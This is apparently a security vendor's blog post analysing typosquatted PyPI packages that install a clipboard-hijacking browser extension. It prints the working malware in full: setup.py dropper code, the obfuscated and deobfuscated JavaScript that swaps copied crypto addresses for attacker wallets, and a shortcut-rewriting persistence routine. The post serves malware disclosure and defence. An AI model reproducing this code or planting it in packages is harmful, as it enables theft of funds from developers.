Skip to content

Malicious Python Packages Replace Crypto Addresses in Developer Clipboards

Phylum uncovers a new campaign targeting Python developers. Malware authors surreptitiously replace cryptocurrency addresses in developer clipboards.

Published on

Nov 07, 2022

Written by

Louis Lang, CTO

Category

Malware

Share

Less than a week after we identified dozens of typosquat packages targeting developers, our automated risk platform has identified several more packages involved in a separate burgeoning campaign targeting developers and their cryptocurrency. The packages targeted in this campaign are downloaded over 29 million times each day - a significant potential blast radius for the attacker, providing a large opportunity to take advantage of developer typos!

The current (and expanding) list of packages in this ongoing campaign are as follows:

  • baeutifulsoup4
  • beautifulsup4
  • cloorama
  • cryptograpyh
  • crpytography
  • djangoo
  • hello-world-exampl
  • hello-world-example
  • ipyhton
  • mail-validator
  • mariabd
  • mysql-connector-pyhton
  • notebok
  • pillwo
  • pyautogiu
  • pygaem
  • pytorhc
  • python-dateuti
  • python-flask
  • python3-flask
  • pyyalm
  • rqeuests
  • slenium
  • sqlachemy
  • sqlalcemy
  • tkniter
  • urlllib

After installation, a malicious Javascript file is dropped to the system and executed in the background of any web browsing session. When a developer copies a cryptocurrency address, the address is replaced in the clipboard with the attacker's address.

At the time of this writing (around an hour after the first malicious package was published), these packages have been downloaded over one hundred times. While we have reported each of these packages (and will continue to do so), we expect both the number of downloads and overall package count to climb in the coming hours.

Dropping Obfuscated JS from Python

The malicious payload for each of these packages exists in the setup.py. The malware authors begin by getting a list of “interesting” paths:

appDataPath = os.getenv('APPDATA')
desktopPath = os.path.expanduser('~\Desktop')
paths = [
    appDataPath + '\\Microsoft\\Windows\\Start Menu',
    appDataPath + '\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar',
    desktopPath
]

If the user is an administrator, they add an additional path to the list:

if ctypes.windll.shell32.IsUserAnAdmin():
    paths.append('C:\\ProgramData\\Microsoft\\Windows\\Start Menu')

They then create an Extension directory, if one didn’t already exist:

if not os.path.exists(appDataPath + '\\Extension'):
    os.makedirs(appDataPath + '\\Extension')

Finally, the attackers write obfuscated Javascript to the $APPDATA\\Extension folder:

with open(appDataPath + '\\Extension\\background.js', 'w+') as extensionFile:
    extensionFile.write('''var _0x327ff6=_0x11d4;(function(_0x314c14,_0x4da2d4){var _0x4d9550=_0x11d4,_0x41c8ae=_0x314c14();while(!![]){try{var _0x291238=parseInt(_0x4d9550(0x83))/0x1+parseInt(_0x4d9550(0x87))/0x2*(-parseInt(_0x4d9550(0x7c))/0x3)+-parseInt(_0x4d9550(0x81))/0x4*(-parseInt(_0x4d9550(0x8b))/0x5)+parseInt(_0x4d9550(0x7e))/0x6*(parseInt(_0x4d9550(0x75))/0x7)+-parseInt(_0x4d9550(0x89))/0x8+-parseInt(_0x4d9550(0x85))/0x9+parseInt(_0x4d9550(0x82))/0xa;if(_0x291238===_0x4da2d4)break;else _0x41c8ae['push'](_0x41c8ae['shift']());}catch(_0x435e56){_0x41c8ae['push'](_0x41c8ae['shift']());}}}(_0x7dfe,0x8e72d));let page=chrome[_0x327ff6(0x77)][_0x327ff6(0x76)]();function _0x11d4(_0x5d4133,_0x41221d){var _0x7dfebe=_0x7dfe();return _0x11d4=function(_0x11d4f7,_0x3282ea){_0x11d4f7=_0x11d4f7-0x75;var _0x34f11d=_0x7dfebe[_0x11d4f7];return _0x34f11d;},_0x11d4(_0x5d4133,_0x41221d);}var inputElement=document[_0x327ff6(0x88)](_0x327ff6(0x8a));document['body'][_0x327ff6(0x86)](inputElement),inputElement['focus']();function check(){var _0xe8a3e=_0x327ff6;document[_0xe8a3e(0x79)](_0xe8a3e(0x7f));var _0x5eb90d=inputElement[_0xe8a3e(0x7a)];_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^(0x)[a-fA-F0-9]{40}$/,'0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^T[A-Za-z1-9]{33}$/,'TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^(bnb1)[0-9a-z]{38}$/,_0xe8a3e(0x80)),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/,'bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v'),_0x5eb90d=_0x5eb90d[_0xe8a3e(0x78)](/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/,_0xe8a3e(0x84)),inputElement['value']=_0x5eb90d,inputElement[_0xe8a3e(0x7d)](),document['execCommand'](_0xe8a3e(0x7b)),inputElement[_0xe8a3e(0x7a)]='';}function _0x7dfe(){var _0x1c8730=['8bkbJpt','14903530AaRyNg','646317UWotJX','LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq','9448686izWZHq','appendChild','2hKfLTM','createElement','3544256zMWJYQ','textarea','10470IXKEdo','42UUKWJT','getBackgroundPage','extension','replace','execCommand','value','copy','1539693aOTNUd','select','448728VNjtMg','paste','bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv'];_0x7dfe=function(){return _0x1c8730;};return _0x7dfe();}setInterval(check,0x3e8);''')

and write a manifest.json to the $APPDATA\\Extension folder, which requests the clipboardWrite and clipboardRead permissions:


with open(appDataPath + '\\Extension\\manifest.json', 'w+') as manifestFile:
        manifestFile.write('{"name": "Windows","background": {"scripts": ["background.js"]},"version": "1","manifest_version": 2,"permissions": ["clipboardWrite", "clipboardRead"]}')

Deobfuscating Javascript Bits

In an attempt to hide what the malicious payload is doing, the attacker obfuscated the Javascript using a common obfuscator.

obfuscated-js

Although we can probably infer what this malicious package is doing based on the requested permissions in the manifest.json, lets deobfuscate it to be certain. Comments are added.

/**
 * Returns the Window of the background page if the background script is running.
 * If the script is not running, null is returned.
 */
let page = chrome['extension']['getBackgroundPage']();

// Create a new text area on the page 
var textareaElement = document.createElement('textarea');
document['body']['appendChild'](textareaElement);

// Then focus on it
textareaElement['focus']();

function lookforCryptoAddresses() {
    // The input element is on our newly defined element and we paste whatever is in the
    // clipboard to it.
    document['execCommand']('paste');

    // We then get the value of what we just pasted in the text area.
    var inputValue = textareaElement['value'];

    /** Look at the value, if it matches one of the regexes replace the crypto address **/
    // ETH addresses
    inputValue = inputValue.replace(/^(0x)[a-fA-F0-9]{40}$/, '0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9'),
    
		// TRX (TRON) address
		inputValue = inputValue.replace(/^T[A-Za-z1-9]{33}$/, 'TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx'),
    
		// BNB Address
		inputValue = inputValue.replace(/^(bnb1)[0-9a-z]{38}$/, 'bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv'),
    
		// BTC Address
		inputValue = inputValue.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/, 'bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v'),
    
		// LTC Address
		inputValue = inputValue.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/, 'LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq'),
    
    // Update the text area to the value we replaced above.
    textareaElement['value'] = inputValue,

    // Select whatever is in the text area.
    textareaElement['select'](),

    // Copy that to the clipboard, thereby overwriting the address the user copied.
    document['execCommand']('copy'),

    // Clear the text area.
    textareaElement['value'] = '';
}

// Monitor the clipboard every second.
setInterval(lookforCryptoAddresses, 1000);

At a high-level, the attacker:

  • Creates a textarea on the page
  • Pastes any clipboard contents to it
  • Uses a series of regular expressions to search for common cryptocurrency address formats
  • Replaces any identified addresses with the attacker controlled addresses in the previously created textarea
  • Copies the textarea to the clipboard

If at any point a compromised developer copies a wallet address, the malicious package will replace the address with an attacker controlled address. This surreptitious find/replace will cause the end user to inadvertently send their funds to the attacker.

Attacker Controlled Wallets

The current list of attacker controlled addresses is:

  • ETH 0x18c36eBd7A5d9C3b88995D6872BCe11a080Bc4d9
  • BTC bc1qqwkpp77ya9qavyh8sm8e4usad45fwlusg7vs5v
  • BNB bnb1cm0pllx3c7e902mta8drjfyn0ypl7ar4ty29uv
  • LTC LPDEYUCna9e5dYaDPYorJBXXgc43tvV9Rq
  • TRX TWStXoQpXzVL8mx1ejiVmkgeUVGjZz8LRx

At the time of this writing, no funds have been transferred to the attackers.

btc-attacker-wallet

Getting Persistence

The persistence mechanism is simplistic, but effective:

for path in paths:
	for root_directory, sub_directories, files in os.walk(path):
		for file in files:
			if file.endswith('.lnk'):
				try:
					shortcut = shell.CreateShortcut(root_directory + '\\' + file)
					executable_name = os.path.basename(shortcut.TargetPath)

					if executable_name in ['chrome.exe', 'msedge.exe', 'launcher.exe', 'brave.exe']:
						shortcut.Arguments = '--load-extension={appDataPath}\\Extension'.format(appDataPath=appDataPath)
						shortcut.Save()
				except Exception as e:
					...

The attackers first start by walking all paths in the path list they created above. If they identify any LNK files and the executable in the target is one of chrome.exe, msedge.exe, launcher.exe or brave.exe they add the following:

--load-extension={appDataPath}\\Extension

This ensures that the malicious payload is executed when one of these browsers is opened.

Developers Are The Targets

The unfortunate reality is developers are now direct targets of these supply chain attacks. Failing to protect developers is a failure of the technical organization as a whole. Because of this, we are actively working on an open source, freely available solution that sandboxes package installations. This offering is currently rolled into our CLI Star, but the underlying sandboxing capability (called Birdcage) Star is also available for integration into other open source projects.

Here we are installing a malicious NPM package that exfiltrates SSH keys:

npm_install

And again using Birdcage; the SSH keys are never sent from the developer machine:

phylum_install

We are still actively working to improve the sandbox, but welcome contributions and ideas from the community! Join us on our community Slack to discuss all things security, supply chain risks and upcoming CTFs.

Subscribe to Our Research

Subscribe to Our Research

Latest Articles

Disrupting a PyPI Software Supply Chain Threat Actor
Research   |   Nov 22, 2022

Disrupting a PyPI Software Supply Chain Threat Actor

Phylum disrupts software supply chain attacker attempting to constru...

W4SP Stealer Update—Attacker now Attempting to Masquerade as Popular Orgs
Research   |   Nov 18, 2022

W4SP Stealer Update—Attacker now Attempting to Masquerade as Popular Orgs

Phylum's team has discovered more PyPI packages attempting to delive...

Malicious Python Packages Replace Crypto Addresses in Developer Clipboards
Malware   |   Nov 07, 2022

Malicious Python Packages Replace Crypto Addresses in Developer Clipboards

Phylum uncovers a new campaign targeting Python developers. Malware ...